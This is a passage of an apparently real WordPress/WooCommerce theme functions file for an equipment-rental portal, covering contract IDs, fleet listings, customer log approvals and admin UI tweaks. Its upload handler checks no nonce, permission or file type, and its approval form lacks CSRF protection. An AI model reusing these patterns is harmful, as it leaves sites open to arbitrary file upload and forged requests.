		echo '<div class="notice notice-success"><p>All qualifying rows have been inserted successfully into wp_fleet_usage and wp_fleet_usagemeta.</p></div>';
	} else {
		// Display error message if no matching data is available
		echo '<div class="notice notice-error"><p>No data available with contract_end_date on or after April 1, 2024.</p></div>';
	}
}

//  End of Business Dashboard

// Bhaskar Contract SAP ID

//-------- contract id update ----
// Add this code to your theme's functions.php file
// Add custom button to WooCommerce order edit page
/*
add_action('woocommerce_order_actions_end', 'add_get_contract_id_button');
function add_get_contract_id_button($order) {
    if (is_int($order)) {
        $order = wc_get_order($order); // Get the WC_Order object if $order is an ID
    }

    if ($order instanceof WC_Order) {
        $order_id = $order->get_id();
        $contract_id = $order->get_meta('contract_id');

        // Check if the contract ID exists and disable the button if it does
        $disabled = !empty($contract_id) ? 'disabled' : '';

        echo '<button type="button" class="button button-primary get-contract-id" data-order-id="' . esc_attr($order_id) . '" ' . $disabled . '>Get Contract ID</button>';
    }
}

// Add custom contract ID input field and buttons to WooCommerce order edit page

add_action('woocommerce_admin_order_data_after_order_details', 'add_contract_id_input_field');
function add_contract_id_input_field($order) {
    if (is_int($order)) {
        $order = wc_get_order($order); // Get the WC_Order object if $order is an ID
    }

    if ($order instanceof WC_Order) {
        $order_id = $order->get_id();
        $contract_id = $order->get_meta('contract_id');

        // Disable the input and buttons if the contract ID exists
        $disabled = !empty($contract_id) ? 'disabled' : '';

        // Display the input field and buttons
        echo '<div class="contract-id-section" style="margin-bottom: 20px;">';
        echo '<h4>Rental Contract ID</h4>';
        //echo '<label for="contract_id_input">Enter Contract ID:</label>';
        echo '<input type="text" id="contract_id_input" name="contract_id_input" value="' . esc_attr($contract_id) . '" ' . $disabled . ' style="margin-bottom: 10px;" />';
        echo '<button type="button" class="button button-primary update-contract-id" data-order-id="' . esc_attr($order_id) . '" ' . $disabled . '>Update</button>';
        echo '</div>';
    }
}


// Handle AJAX request to manually update the contract ID and ensure it's unique
add_action('wp_ajax_update_contract_id', 'update_contract_id_ajax');
function update_contract_id_ajax() {
    check_ajax_referer('get_contract_id_nonce', 'nonce');

    $order_id = isset($_POST['order_id']) ? intval($_POST['order_id']) : 0;
    $contract_id = isset($_POST['contract_id']) ? sanitize_text_field($_POST['contract_id']) : '';

    if (!$order_id || empty($contract_id)) {
        wp_send_json_error('Invalid order ID or contract ID');
    }

    // Check if contract ID is already assigned to another order
    global $wpdb;
    $existing_order_id = $wpdb->get_var($wpdb->prepare(
        "SELECT post_id FROM {$wpdb->prefix}postmeta WHERE meta_key = 'contract_id' AND meta_value = %s AND post_id != %d",
        $contract_id, $order_id
    ));

    if ($existing_order_id) {
        wp_send_json_error('duplicate'); // Send 'duplicate' error if contract ID exists
    }

    $order = wc_get_order($order_id);

    if ($order) {
        // Update the contract ID in order meta
        $order->update_meta_data('contract_id', $contract_id);
        $order->save();

        wp_send_json_success(array('contract_id' => $contract_id));
    } else {
        wp_send_json_error('Order not found');
    }

}
add_action('wp_ajax_get_contract_id', 'handle_get_contract_id');
function handle_get_contract_id() {
    // Enable error reporting
    error_reporting(E_ALL);
    ini_set('display_errors', 1);

    if (!current_user_can('edit_shop_orders')) {
        wp_send_json_error('Permission denied');
    }

    $order_id = isset($_POST['order_id']) ? intval($_POST['order_id']) : 0;
    $order = wc_get_order($order_id);

    if (!$order) {
        wp_send_json_error('Invalid order ID');
    }


    // Retrieve required data from the order
    $data = array(
        'QuoteAcceptanceStatus' => 'Accepted'
    );

    foreach ($order->get_items() as $item) {
        $product = $item->get_product();
        $data['product_Name'] = $product->get_name();
        $data['product_Category'] = strip_tags(wc_get_product_category_list($product->get_id()));
        $data['Quantity'] = $item->get_quantity();
        $data['Sku'] = $product->get_sku();
        $data['EquipmentSerialNumber'] = $product->get_meta('EquipmentSerialNumber');
        $data['EquipmentModelNumber'] = $product->get_meta('EquipmentModelNumber');
        break; // Assuming we're only dealing with the first item in the order
    }

    $data['RentalCost'] = $order->get_meta('RentalCost');
    $data['SecurityDepositAmount'] = $order->get_meta('SecurityDepositAmount');
    $data['TotalPrice'] = $order->get_total();
    $data['RentalStartDate'] = $order->get_meta('RentalStartDate');
    $data['RentalEndDate'] = $order->get_meta('RentalEndDate');
    $data['RentalHours'] = $order->get_meta('RentalHours');

    // Log debugging
    error_log('Data to be inserted: ' . print_r($data, true));

    // Insert data into test_contract table
    global $wpdb;
    $table_name = $wpdb->prefix . 'test_contract';
    $result = $wpdb->insert($table_name, $data);

    if ($result === false) {
        $wpdb_error = $wpdb->last_error;
        error_log('Database insertion error: ' . $wpdb_error);
        wp_send_json_error('Failed to insert data into test_contract table. Error: ' . $wpdb_error);
    } else {
        // 5. Retrieve cont_ID and update WooCommerce order ID
        $cont_id = $wpdb->insert_id;

        // Update the order meta with the new contract ID
        $order->update_meta_data('contract_id', $cont_id);
        $order->save();

        wp_send_json_success(array('contract_id' => $cont_id));
    }
}

// Enqueue JavaScript to handle button click
add_action('admin_enqueue_scripts', 'enqueue_get_contract_id_script');
function enqueue_get_contract_id_script($hook) {
    if ('post.php' !== $hook || 'shop_order' !== get_post_type() || get_post_type() != 'shop_order') {
        return;
    }

    // Get the child theme directory URL
    $child_theme_dir = get_stylesheet_directory_uri();

    // Enqueue the script
    wp_enqueue_script('get-contract-id', $child_theme_dir . '/js/get-contract-id.js', array('jquery'), time(), true);

    // Localize the script with new data
    wp_localize_script('get-contract-id', 'get_contract_id_ajax', array(
        'ajax_url' => admin_url('admin-ajax.php'),
        'nonce' => wp_create_nonce('get_contract_id_nonce')
    ));

    // Debug: Print script information
    error_log('Enqueued script: ' . $child_theme_dir . '/js/get-contract-id.js');
}


//Replace WooCommerce Order Number with Contract ID

add_filter('woocommerce_order_number', 'replace_order_number_with_contract_id', 10, 2);
function replace_order_number_with_contract_id($order_number, $order) {
    $contract_id = $order->get_meta('contract_id');
    if (!empty($contract_id)) {
        return $order_number.' #SAP CONT-' . $contract_id;
    }
    return $order_number;
}


// Modify the order data for API requests
add_filter('woocommerce_api_order_response', 'modify_api_order_response', 10, 2);
function modify_api_order_response($order_data, $order) {
    $contract_id = $order->get_meta('contract_id');
    if (!empty($contract_id)) {
        $order_data['number'] = 'CONT-' . $contract_id;
    }
    return $order_data;
}

// Update order search to include contract ID
add_filter('woocommerce_shop_order_search_fields', 'add_contract_id_to_order_search');
function add_contract_id_to_order_search($search_fields) {
    $search_fields[] = 'contract_id';
    return $search_fields;
}

// Ensure the contract ID is displayed in the order list
add_filter('manage_edit-shop_order_columns', 'add_contract_id_column');
function add_contract_id_column($columns) {
    $new_columns = array();
    foreach ($columns as $key => $column) {
        if ($key == 'order_number') {
            $new_columns[$key] = 'Contract/Order ID';
        } else {
            $new_columns[$key] = $column;
        }
    }
    return $new_columns;
}

// Display the contract ID in the order list
add_action('manage_shop_order_posts_custom_column', 'display_contract_id_in_column', 20, 2);
function display_contract_id_in_column($column, $post_id) {
    if ($column == 'order_number') {
        $order = wc_get_order($post_id);
        $contract_id = $order->get_meta('contract_id');
        if (!empty($contract_id)) {
            echo ' ';
        } else {
            echo $order->get_order_number();
        }
    }
}


// Replace "Order" with "RentalContract" in various places
add_filter('gettext', 'replace_order_with_rms_contract', 10, 3);
add_filter('ngettext', 'replace_order_with_rms_contract', 10, 3);

function replace_order_with_rms_contract($translated, $original, $domain) {
    if (is_admin() && 'woocommerce' === $domain) {
        $translated = str_replace('Order', 'Rental Contract', $translated);
        $translated = str_replace('order', 'Rental Contract', $translated);
        $translated = str_replace('ORDER', 'RENTAL CONTRACT', $translated);


    }
    return $translated;
}

// function to change the order data heading
add_filter('woocommerce_admin_order_preview_title', 'change_order_to_contract_in_preview', 10, 2);
add_filter('woocommerce_admin_order_data_after_order_details', 'change_order_to_contract_in_details', 10, 1);

function change_order_to_contract_in_preview($title, $order) {
    return str_replace('Order', 'RMS Rental Contract', $title);
}

function change_order_to_contract_in_details($order) {
?>
<script type="text/javascript">
jQuery(function($) {
    $('.woocommerce-order-data__heading').text(function(i, text) {
        return text.replace('Order', 'RMS Rental Contract');
    });

    $('#woocommerce-order-notes .postbox-header h2').text('Rental Contract Notes');
    $('#woocommerce-order-actions .postbox-header h2').text('Rental Contract actions');
    $('#woocommerce-order-source-data .postbox-header h2').text('Rental Contract attribution');

    $('.order_notes .delete_note').remove();
});
</script>
<?php
}
*/
// Bhaskar Contract SAP ID End 



// Add custom Operator meta box to Edit Rental Contract Section -- bhaskara
// add_action('add_meta_boxes', 'add_operator_order_meta_box');
// function add_operator_order_meta_box() {
//     add_meta_box(
//         'operator_order_meta_box',           
//         __('Operator Information', 'textdomain'), 
//         'display_operator_order_meta_box',   
//         'shop_order',                     
//         'side',                          
//         'high'                          
//     );
// }


// // Display Operator content in the custom meta box --bhaskara
// function display_operator_order_meta_box($post) {
//     echo '<div class="operator-meta-box-content">';
//     echo '<h3>' . __('Assigned Operators', 'textdomain') . '</h3>';

//     $order_id = $post->ID;

//     $args = array(
//         'meta_key'     => 'contract_id',
//         'meta_value'   => $order_id, 
//         'meta_compare' => '='
//     );
//     $users = get_users($args);

//     if (!empty($users)) {
//         echo '<ul>';
//         foreach ($users as $user) {
//             $first_name = get_user_meta($user->ID, 'first_name', true);
//             // $Operator_id = get_user_meta($user->ID, 'Operator_id', true);
//             $hide_edit_flag = 1; // Set flag value as needed (1 to hide, 0 to show)
//             echo '<li><strong><a href="' . esc_url(admin_url('admin.php?page=edit-operator&id=' . $user->ID . '&hide_edit=' . $hide_edit_flag)) . '" target="_blank">' . esc_html($first_name) . ' -- ' . esc_html($user->ID) . '</a></strong></li>';
//         }
//         echo '</ul>';
//     } else {
//         echo '<p>' . __('No operator is assigned.', 'textdomain') . '</p>';
//         echo '<a href="' . admin_url('admin.php?page=operator-dashboard') . '" class="button button-primary">' . __('Assign Operator', 'textdomain') . '</a>';

//     }
//     echo '</div>';
// }
// End of Display Operator Meta Box

// Renal Fleet By Aseema


function rent_products_admin_menu()
{
	add_menu_page(
		'Rent Products',    // Page title
		'Prime Rental Fleet',    // Menu title
		'manage_options',   // Capability
		'rent-products',    // Menu slug
		'rent_products_page_content', // Callback function
		'dashicons-cart',   // Icon
		6                   // Position
	);
}
add_action('admin_menu', 'rent_products_admin_menu');
function rent_products_page_content()
{
	global $wpdb;

	$query = "
        SELECT p.ID AS product_id, p.post_title, pm_model.meta_value AS model_number
        FROM {$wpdb->prefix}posts p
        JOIN {$wpdb->prefix}postmeta pm ON p.ID = pm.post_id
        JOIN {$wpdb->prefix}term_relationships tr ON p.ID = tr.object_id
        JOIN {$wpdb->prefix}term_taxonomy tt ON tr.term_taxonomy_id = tt.term_taxonomy_id
        JOIN {$wpdb->prefix}terms t ON tt.term_id = t.term_id
        JOIN {$wpdb->prefix}postmeta pm_model ON p.ID = pm_model.post_id AND pm_model.meta_key = 'model_number'
        WHERE pm.meta_key = 'purpose_of_listing'
        AND pm.meta_value = 'display'
        AND tt.taxonomy = 'product_cat'
        AND t.name = 'rent'
        AND p.post_type = 'product'
        AND p.post_status = 'publish';
    ";

	// Execute the query
	$rent_products = $wpdb->get_results($query);

	// Display products in a table
	echo '<div class="wrap">';
	echo '<h1>Prime Rental Fleet For Customer Portal</h1>';
	echo '<table class="wp-list-table widefat fixed striped">';
	echo '<thead>';
	echo '<tr>';
	echo '<th>Image</th>';
	echo '<th>Brand Name</th>';
	echo '<th>Model Number</th>';
	echo '<th>Product Name</th>';
	// echo '<th>ID</th>';

	echo '</tr>';
	echo '</thead>';
	echo '<tbody>';

	if (!empty($rent_products)) {
		foreach ($rent_products as $product) {
			// Get the product object
			$wc_product = wc_get_product($product->product_id);
			// Get the brand attribute
			$attributes = $wc_product->get_attributes();


			$brand_name = '';

			if (isset($attributes['pa_brand']) && !empty($attributes['pa_brand'])) {
				// Fetch the terms associated with the brand attribute
				$brand_terms = $attributes['pa_brand']->get_terms();
				if (!empty($brand_terms)) {
					// Join the brand terms into a comma-separated string
					$brand_name = implode(', ', wp_list_pluck($brand_terms, 'name'));
				}
			}
			// echo $brand_name;

			$image_url = get_the_post_thumbnail_url($product->product_id, 'thumbnail');
			echo '<tr>';
			echo '<td>';
			if ($image_url) {
				echo '<img src="' . esc_url($image_url) . '" alt="' . esc_attr($product->post_title) . '" style="max-width: 100px; height: auto;"/> ';
			} else {
				echo 'No image';
			}
			echo '</td>';
			echo '<td style="font-size: 16px;">' . esc_html($brand_name) . '</td>';
			echo '<td style="font-size: 16px;">' . esc_html($product->model_number) . '</td>';
			echo '<td style="font-size: 16px;">' . esc_html($product->post_title) . '</td>';
			// echo '<td style="font-size: 16px;">' . esc_html($product->product_id) . '</td>';

			echo '</tr>';
		}
	} else {
		echo '<tr><td colspan="5">No products found.</td></tr>';
	}

	echo '</tbody>';
	echo '</table>';
	echo '</div>';
}

// Bhaskar Code for logsheet approval


// Add custom "Log Approval" tab to My Account menu --- Bhaskara

// add_filter('woocommerce_account_menu_items', 'add_log_approval_tab', 40);
// function add_log_approval_tab($items) {
//     $items['log-approval'] = __('Log Approval', 'your-textdomain');
//     return $items;
// }

// Start of Code for Customer Submit Message - 24/11/2024)
// Add endpoint for the new tab
add_action('init', 'add_log_approval_endpoint');
function add_log_approval_endpoint()
{
	add_rewrite_endpoint('log-approval', EP_ROOT | EP_PAGES);
}

// Display content for the Log Approval tab
add_action('woocommerce_account_log-approval_endpoint', 'log_approval_content');
function log_approval_content()
{
	global $wpdb;
	$customer_id = get_current_user_id();

	// Query the wp_log_files_data table for this user
	$logs = $wpdb->get_results($wpdb->prepare(
		"SELECT user_id, contract_id, log_url, working_hours, log_user_remarks, log_approve_status 
        FROM wp_log_files_data 
        WHERE customer_id = %d",
		$customer_id
	));

	if ($logs) {
		echo '<h3>' . __('Your Log Approval Data', 'your-textdomain') . '</h3>';
		echo '<form method="post">';
		echo '<table id="logTable" class="shop_table account-log-table">';
		echo '<thead>';
		echo '<tr>';
		echo '<th>' . __('Contract ID', 'your-textdomain') . '</th>';
		echo '<th>' . __('Operator ID', 'your-textdomain') . '</th>';
		echo '<th>' . __('Log File', 'your-textdomain') . '</th>';
		echo '<th>' . __('Working Hours', 'your-textdomain') . '</th>';
		echo '<th>' . __('Your Remarks', 'your-textdomain') . '</th>';
		echo '<th>' . __('Approval Status', 'your-textdomain') . '</th>';
		echo '<th>' . __('Action', 'your-textdomain') . '</th>';
		echo '</tr>';
		echo '</thead>';
		echo '<tbody>';

		foreach ($logs as $log) {
		$is_accepted = ($log->log_approve_status === 'Accepted');
		?>
	<tr>
		<td><?php
				$sapcontract_id = get_post_meta($log->contract_id, 'contract_id', true);
				echo esc_html($sapcontract_id); ?></td>
		<td><?php echo esc_html($log->user_id); ?></td>
		<td><a href="<?php echo esc_url($log->log_url); ?>" target="_blank" download><?php _e('Download Log', 'your-textdomain'); ?></a>
		</td>
		<td><?php echo esc_html($log->working_hours); ?></td>
		<td>
			<input type="text" name="log_user_remarks[<?php echo esc_attr($log->contract_id); ?>]"
				value="<?php echo esc_attr($log->log_user_remarks); ?>" <?php echo $is_accepted ? 'disabled' : ''; ?>/>
		</td>
		<td>
			<select name="log_approve_status[<?php echo esc_attr($log->contract_id); ?>]" <?php echo $is_accepted ? 'disabled' : ''; ?>>
				<option value="Pending" <?php selected($log->log_approve_status, 'Pending'); ?>>
					<?php _e('Pending', 'your-textdomain'); ?>
				</option>
				<option value="Accepted" <?php selected($log->log_approve_status, 'Accepted'); ?>>
					<?php _e('Accept', 'your-textdomain'); ?>
				</option>
				<option value="Modify" <?php selected($log->log_approve_status, 'Modify'); ?>>
					<?php _e('Modify', 'your-textdomain'); ?>
				</option>
			</select>
		</td>
		<td>
			<button type="submit" class="log-approval-btn" name="save_log_approval" <?php echo $is_accepted ? 'disabled' : ''; ?>><img src="/wp-content/uploads/2025/09/submit.svg" alt="submit-icon" />Submit</button>
		</td>
	</tr>
	<?php
		}

		echo '</tbody>';
		echo '</table>';
		echo '</form>';
	} else {
		echo '<p>' . __('No logs found for approval.', 'your-textdomain') . '</p>';
	}

	// Handle form submission
	if (isset($_POST['save_log_approval'])) {
		$success = true; // Flag to track if all updates are successful

		foreach ($_POST['log_user_remarks'] as $contract_id => $remarks) {
			$log_approve_status = $_POST['log_approve_status'][$contract_id];

			// Update the database
			$update_result = $wpdb->update(
				'wp_log_files_data',
				[
					'log_user_remarks' => sanitize_text_field($remarks),
					'log_approve_status' => sanitize_text_field($log_approve_status),
				],
				['contract_id' => sanitize_text_field($contract_id), 'customer_id' => $customer_id],
				['%s', '%s'],
				['%s', '%d']
			);

			if ($update_result === false) {
				$success = false;
				break;
			}
		}

		// Add appropriate notice based on the update result
		if ($success) {
			wc_add_notice(__('Log Approval Status Submitted successfully!', 'your-textdomain'), 'success');
		} else {
			wc_add_notice(__('There was an error Submitting the Log Status. Please try again.', 'your-textdomain'), 'error');
		}

		// Redirect after save to avoid resubmission
		wp_safe_redirect(wc_get_account_endpoint_url('log-approval'));
		exit;
	}
}

// End of Code for Customer Submit Message - 24/11/2024)

// End of Logsheet Approval Code

// code to disable Contract Status Drop Down -- bhaskara 
add_action('admin_footer', 'disable_order_status_dropdown');
function disable_order_status_dropdown()
{
	$screen = get_current_screen();

	// Only run on the WooCommerce order edit page
	if (!$screen || $screen->id !== 'shop_order') {
		return;
	}
?>
<style>
/* Hide the dropdown arrow on the select element */
#order_status {
    appearance: none !important;
    -webkit-appearance: none !important;
    -moz-appearance: none !important;
    background-color: #f0f0f0 !important;
    pointer-events: none !important;
    border: none !important;
    padding-right: 8px !important;
    background-image: none !important;
    cursor: default !important;
    color: #050505 !important;
}

/* Additional selectors to force remove dropdown arrow in different browsers */
#order_status::-ms-expand {
    display: none !important;
}

/* Remove any custom WooCommerce styling */
#order_status+.select2-container,
#order_status~.select2-container {
    display: none !important;
}

/* Ensure the select container doesn't show any dropdown indicators */
.select2-selection__arrow,
.select2-selection__rendered:after {
    display: none !important;
}

/* Override any theme-specific styles */
#order_status {
    position: relative !important;
}

#order_status::after {
    content: none !important;
}
</style>
<script type="text/javascript">
jQuery(document).ready(function($) {
    // Get the current selected value
    var currentStatus = $('#order_status').val();

    // Create a hidden input to maintain the order status value
    $('<input>').attr({
        type: 'hidden',
        name: 'order_status',
        value: currentStatus
    }).insertAfter('#order_status');

    // Disable the visible dropdown and remove its name attribute
    $('#order_status').prop('disabled', true)
        .removeAttr('name')
        .attr('title', 'Status changes are automated')
        // Remove any existing select2 initialization
        .select2('destroy');

    // Prevent any click events
    $('#order_status').on('mousedown', function(e) {
        e.preventDefault();
        return false;
    });
});
</script>
<?php
}

// Preserve the order status during updates
add_action('woocommerce_admin_process_order_object', 'preserve_order_status', 10, 2);
function preserve_order_status($order, $post_id)
{
	// If no status is provided in the POST data, maintain the current status
	if (!isset($_POST['order_status']) || empty($_POST['order_status'])) {
		$current_status = $order->get_status();
		$order->set_status($current_status);
	}
}

// Aseema 



// add_action('wp_ajax_save_order_upload_file', 'save_order_upload_file');

// function save_order_upload_file() {
//     // Check if file is uploaded and order ID is set
//     if (isset($_FILES['file']) && isset($_POST['order_id'])) {
//         $uploaded_file = $_FILES['file'];
//         $order_id = intval($_POST['order_id']);

//         // Set the upload directory
//         $upload_dir = wp_upload_dir();
//         $target_file = $upload_dir['path'] . '/' . basename($uploaded_file['name']);
//         $file_url = $upload_dir['url'] . '/' . basename($uploaded_file['name']);  // File URL

//         // Move the uploaded file to the upload directory
//         if (move_uploaded_file($uploaded_file['tmp_name'], $target_file)) {
//             // Save the file path to the order's post meta
//             update_post_meta($order_id, '_custom_upload_file', $file_url);

//             // Return success with file URL and name
//             wp_send_json_success(array(
//                 'message' => __('File uploaded successfully. To Save The Uploaded File, Please Update The Contract', 'your-text-domain'),
//                 'file_url' => $file_url,
//                 'file_name' => basename($target_file),
//             ));
//         } else {
//             wp_send_json_error(array('message' => __('File upload failed.', 'your-text-domain')));
//         }
//     } else {
//         wp_send_json_error(array('message' => __('No file or order ID provided.')));
//     }
// }

// Aseema 

// search user by phone number

add_action('pre_user_query', 'custom_user_search_by_phone_number');

function custom_user_search_by_phone_number($user_query)
{
	global $wpdb;
	if (!is_admin() || empty($user_query->query_vars['search'])) {
		return;
	}

	// Get the search term and sanitize it
	$search_string = $user_query->query_vars['search'];
	$search_string = trim($search_string, '*');

	// Join usermeta to allow searching by phone number
	$user_query->query_from .= " LEFT JOIN {$wpdb->usermeta} AS um ON {$wpdb->users}.ID = um.user_id ";

	// Modify the WHERE clause to include phone number search
	$user_query->query_where .= " OR (um.meta_key = 'user_phone' AND um.meta_value LIKE '%" . esc_sql($search_string) . "%')";
}

//  Aseema 

function custom_admin_title()
{
	echo '<title>' . get_bloginfo('name') . '</title>';
}
add_action('admin_head', 'custom_admin_title');

function custom_site_title($title)
{
	if (is_admin()) {
		return get_bloginfo('name');
	}
	return preg_replace('/\s*-\s*WordPress$/', '', $title);
}

add_filter('admin_title', 'custom_site_title');

// change status to security deposite paid if utr field and attach ref field has value 09/11/24
// function update_order_status_for_security_deposit_paid() {
//     global $wpdb;

//     // Query to check for any 'utr_field' value (non-empty)
//     $results = $wpdb->get_results(
//         "
//         SELECT meta1.post_id
//         FROM {$wpdb->postmeta} AS meta1
//         JOIN {$wpdb->postmeta} AS meta2 ON meta1.post_id = meta2.post_id
//         WHERE meta1.meta_key = 'utr_field' 
//         AND meta1.meta_value != ''
//         AND meta2.meta_key = '_custom_upload_file' 
//         AND meta2.meta_value != ''
//         "
//     );
//     // Loop through the results and update the order status
//     foreach ($results as $result) {
//         $order_id = $result->post_id;
//         $utr_field_value = $result->meta_value;

//         // Check if this is a valid WooCommerce order
//         $order = wc_get_order($order_id);
//         if ($order) {

//             $order->update_status('sdp', 'Security Deposit Paid for UTR: ' . $utr_field_value);
//         }
//     }
// }

// // Hook the function into WordPress or WooCommerce
// add_action('init', 'update_order_status_for_security_deposit_paid');

//  12-11-2024  Bhaskara 

//--- custom Code for related products----Bhakara--11/12/2024//
function custom_related_products_query_by_exact_category_id($related_posts, $product_id)
{
	$product = wc_get_product($product_id);

	// Get the primary category ID of the current product
	$categories = wp_get_post_terms($product_id, 'product_cat', array('fields' => 'ids'));

	if (empty($categories) || !$product) {
		return array(); // Return an empty array if no categories found or invalid product
	}

	// Use the first category ID (assuming it's the main one for filtering)
	$primary_category_id = $categories[0];

	// Set up custom query to fetch products from the exact category ID only
	$related_args = array(
		'post_type' => 'product',
		'posts_per_page' => 3,  // Limit to 3 products for desktop (CSS will handle mobile limit)
		'post__not_in' => array($product_id), // Exclude the current product
		'post_status' => 'publish', // Only show published products
		'tax_query' => array(
			array(
				'taxonomy' => 'product_cat',
				'field' => 'term_id', // Filter by exact category ID
				'terms' => $primary_category_id,
				'include_children' => false, // Exclude child category products
			),
		),
		'orderby' => 'rand', // Display in random order
	);

	$related_query = new WP_Query($related_args);

	// Extract product IDs from the query results
	$related_posts = wp_list_pluck($related_query->posts, 'ID');

	return $related_posts;
}
add_filter('woocommerce_related_products', 'custom_related_products_query_by_exact_category_id', 10, 2);

// Set the default number of related products and columns in WooCommerce
function set_related_products_limit($args)
{
	$args['posts_per_page'] = 3; // Limit to 3 products for desktop and tablet
	$args['columns'] = 3; // Display in 3 columns
	return $args;
}
add_filter('woocommerce_output_related_products_args', 'set_related_products_limit');

//------End---

//14-11-2024  Bhaskara

//---- hide add new Rental contract button--- bhaskara ---//
add_action('admin_footer', 'disable_add_new_order_button');

function disable_add_new_order_button()
{
	$screen = get_current_screen();
	// Run the script on both the orders list page and single order edit page
	if ($screen->id === 'edit-shop_order' || $screen->id === 'shop_order') {
?>
<script type="text/javascript">
document.addEventListener('DOMContentLoaded', function() {
    // Select the "Add Rental Contract" button
    const addOrderButton = document.querySelector('.page-title-action');
    if (addOrderButton && addOrderButton.textContent.includes('Add Rental Contract')) {
        addOrderButton.style.display = 'none';
    }
});
</script>
<?php
	}
}


//-------  hide view product from admin bar in product page ---- bhaskara--//
add_action('admin_bar_menu', 'remove_view_products_admin_bar_item', 999);

function remove_view_products_admin_bar_item($wp_admin_bar)
{
	$screen = get_current_screen();
	if ($screen->post_type === 'product') {
		// Remove the 'View products' item by its ID
		$wp_admin_bar->remove_node('archive');
	}
}

// Bhaskara 16-11-2024

add_action('wp_ajax_save_order_upload_file', 'save_order_upload_file');

function save_order_upload_file()
{
	// Check if file is uploaded and order ID is set
	if (isset($_FILES['file']) && isset($_POST['order_id'])) {
		$uploaded_file = $_FILES['file'];
		$order_id = intval($_POST['order_id']);

		// Set the upload directory
		$upload_dir = wp_upload_dir();
		$target_file = $upload_dir['path'] . '/' . basename($uploaded_file['name']);
		$file_url = $upload_dir['url'] . '/' . basename($uploaded_file['name']);  // File URL

		// Move the uploaded file to the upload directory
		if (move_uploaded_file($uploaded_file['tmp_name'], $target_file)) {
			// Save the file path to the order's post meta
			update_post_meta($order_id, '_custom_upload_file', $file_url);

			// Call the order status update function for this specific order
			update_order_status_for_security_deposit_paid($order_id);

			// Return success with file URL and name
			wp_send_json_success(array(
				'message' => __('File uploaded successfully. To Save The Uploaded File, Please Update The Contract', 'your-text-domain'),
				'file_url' => $file_url,
				'file_name' => basename($target_file),
			));
		} else {
			wp_send_json_error(array('message' => __('File upload failed.', 'your-text-domain')));
		}
	} else {
		wp_send_json_error(array('message' => __('No file or order ID provided.')));
	}
}

// Update order status to 'Security Deposit Paid' if specific meta fields are filled
function update_order_status_for_security_deposit_paid($specific_order_id = null)
{
	global $wpdb;

	// Prepare the query to get orders with 'utr_field' and '_custom_upload_file' populated
	$query = "
        SELECT meta1.post_id
        FROM {$wpdb->postmeta} AS meta1
        JOIN {$wpdb->postmeta} AS meta2 ON meta1.post_id = meta2.post_id
        WHERE meta1.meta_key = 'utr_field' 
        AND meta1.meta_value != ''
        AND meta2.meta_key = '_custom_upload_file' 
        AND meta2.meta_value != ''
    ";

	// If a specific order ID is provided, add it to the query
	if ($specific_order_id) {
		$query .= " AND meta1.post_id = " . intval($specific_order_id);
	}

	$results = $wpdb->get_results($query);

	// Loop through the results and update the order status
	foreach ($results as $result) {
		$order_id = $result->post_id;

		// Check if this is a valid WooCommerce order
		$order = wc_get_order($order_id);
		if ($order && $order->get_status() === 'pending') {  // Ensure the status isn't already 'sdp'
			$utr_field_value = get_post_meta($order_id, 'utr_field', true);
			$order->update_status('sdp', 'Security Deposit Paid for UTR: ' . $utr_field_value);
		}
	}
}

// Optionally hook the status update function for periodic checks
add_action('init', 'update_order_status_for_security_deposit_paid');

// End of Bhaskara Code 16-11-2024


// Remove order preview button and functionality By Bhaskara 

function remove_order_preview_customizations()
{
	// Remove preview button using filter
	add_filter('woocommerce_admin_order_preview_enabled', '__return_false');

	// Add custom CSS to hide preview elements
	add_action('admin_head', 'add_custom_order_preview_css');
}
add_action('init', 'remove_order_preview_customizations');

// Function to add custom CSS
function add_custom_order_preview_css()
{
	$screen = get_current_screen();
	if (!$screen || !in_array($screen->id, array('edit-shop_order', 'woocommerce_page_wc-orders'))) {
		return;
	}
?>
<style type="text/css">
/* Hide eye icon in orders list */
.post-type-shop_order .order_actions .order-preview,
.post-type-shop_order td.wc_actions .order-preview,
.post-type-shop_order .wc-action-button-preview,
.post-type-shop_order button.order-preview,
.post-type-shop_order a.order-preview,
/* Target the specific eye icon */
.order-preview .dashicons-visibility,
/* More specific selectors based on your screenshot */
table.wp-list-table .order-preview,
.dashicons-visibility,
/* Target the entire preview functionality */
.order_actions .preview,
.wc_actions .preview,
/* Target by data attribute if present */
[data-tip="Preview"],
/* Most specific selector for the eye icon */
.wp-list-table .wc-action-button.wc-action-button-preview {
    display: none !important;
    visibility: hidden !important;
    opacity: 0 !important;
    width: 0 !important;
    height: 0 !important;
    position: absolute !important;
    pointer-events: none !important;
}
</style>
<?php
}

//------------ remove action column --- bhaskara 

add_action('current_screen', function () {
	global $wc_list_table;
	remove_filter('manage_shop_order_posts_columns', array($wc_list_table, 'define_columns'), 10);
}, 20);

//add your required column
add_filter('manage_shop_order_posts_columns', 'themeslug_add_required_column', 10, 2);

function themeslug_add_required_column($columns)
{
	$show_columns = array();
	$show_columns['cb'] = $columns['cb'];
	$show_columns['order_number'] = __('Order', 'woocommerce');
	$show_columns['order_date'] = __('Date', 'woocommerce');
	$show_columns['order_status'] = __('Status', 'woocommerce');
	$show_columns['billing_address'] = __('Billing', 'woocommerce');
	$show_columns['shipping_address'] = __('Ship to', 'woocommerce');
	$show_columns['order_total'] = __('Total', 'woocommerce');

	wp_enqueue_script('wc-orders');

	return $show_columns;
}
//-------end-----

// changed on 24-12-2024

add_filter('screen_options_show_screen', function ($show_screen) {
	if (is_admin() && strpos($_SERVER['REQUEST_URI'], 'profile.php') !== false || strpos($_SERVER['REQUEST_URI'], 'user-new.php') !== false || strpos($_SERVER['REQUEST_URI'], 'active-users') !== false || strpos($_SERVER['REQUEST_URI'], 'user-import') !== false) {
		return false;
	}
	return $show_screen;
});

// Remove Screen Options tab from WooCommerce attributes page
function hide_screen_options_for_product_attribute()
{
	global $pagenow;

	if ($pagenow === 'edit.php' && isset($_GET['post_type'], $_GET['page']) && $_GET['post_type'] === 'product' && $_GET['page'] === 'product_attributes') {
		wp_add_inline_style('wp-admin', '#screen-meta-links { display: none !important; }');
	}
}
add_action('admin_enqueue_scripts', 'hide_screen_options_for_product_attribute');

function hide_screen_options_for_operator()
{
?>
<style>
<?php if (isset($_GET['page']) && ($_GET['page']==='operator-dashboard'|| $_GET['page']==='create_operators'|| $_GET['page']==='sos'|| $_GET['page']==='servicereq-dashboard'|| $_GET['page']==='logsheet-dashboard')): ?>#screen-meta-links {
    display: none !important;
}

<?php endif;
?>
</style>
<?php
}
add_action('admin_enqueue_scripts', 'hide_screen_options_for_operator');

// --- Sale amount, Rental amount columns -- modified -- Bhaskara -- 24/03/2025
